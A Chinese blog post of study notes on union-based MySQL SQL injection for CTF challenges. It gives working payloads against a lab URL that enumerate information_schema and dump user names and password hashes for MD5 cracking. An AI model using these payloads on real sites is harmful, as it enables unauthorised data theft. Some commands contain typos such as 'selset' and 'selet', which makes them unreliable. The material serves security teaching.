原理
由用户控制的变量,将SQL语句代入可查询数据库内容,从而获取数据库内容
要求
可控变量,变量未过滤或过滤不充分
mysql基础知识
代码端
mysql_query($sql);带入数据库
mysql_fetch_arrqy($result);将结果显现出来
知识点
1.在MYSQL5.0以上版本中,mysql存在一个自带数据库名为information_schema,它是一个存储所有数据库名,表名,列名的数据库,也相当于可以通过查询它获取指定数据库下面的表名或者列名信息。
2.数据库中符号"."代表下一级,如xiaodi.user表示xiaodi数据库下的user表名。
3.information_schema.tables:记录所有表名信息的表
information_schema.columns:记录所有列名信息的表
table_name:表名
column_name:列名
table_schema:数据库名
MYSQL数据库
- 数据库A=网站A
- 表名
- 列名
- 数据
- 列名
- 表名
- 数据库B=网站B
… - 数据库C=网站C
…
在命令行窗口输入
use databases;
use 表名;
show 表名;
selet * from 列名;
一般web题目中*是password,之后再用md5解密
流程
判断注入点
最重要:了解原理:和数据库产生交互了
and 1=1 页面正常
and 1=2 页面错误
可能存在注入点
select * from users where id=1daadda LIMIT 0,1xxx/?id=1daadda 这样输入,如果对网站有影响,和原来网站有差别,证明他代入数据库查询了,证明了会有漏洞;如果没有差别,网站不检测你输入的参数即不能传递参数,说明没有漏洞。
如果报了404错误或跳转,说明网站对输入参数检测了,大部分没有漏洞。
猜测列名数量(字段数)
因为union联合查询字段数必须一样,否则会报错;
使用order by x(数字) 错误与正常的临界值,不断测试x直到页面错误;
219.153.49.228:42123/new_list.php?id=1 order by 4
报错拆解准备
应用联合查询:union select
http://219.153.49.228:42123/new_list.php?id=-1 union select 1,2,3,4
观察哪些数字会在页面上回显
信息收集(最重要的)和大佬之间的差距
数据库版本:version ()-> 5.7.22-0ubuntu0.16.04.1
数据库名字:database()-> mozhe_Discuz_StormGroup
数据库用户:user()-> root@localhost
操作系统:@@version_compile_os -> Linux
查询指定数据库名mozhe_Discuz_StormGroup下的表名信息:
?id=-1 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='mozhe_Discuz_StormGroup'
查询指定表名StormGroup_member下的列名信息:
?id=-1 union selset 1,group_concat(column_name),3,4 from information_schema.columns where table_name='StormGroup_member'
查询指定表名StormGroup_member下的数据:
?id=-1 union select 1,name,password,4 from StormGroup_member
根据我自己写题的经验来看:有几个易错点(啥时候+s啥时候不用)
了解含义就很好记住:找表名信息:从所有表名中找,在特点的某一个数据库中找
最后得到的字符串用md5解密
4A评测 - 免责申明
本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。
不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。
本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。
如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!
程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。
侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)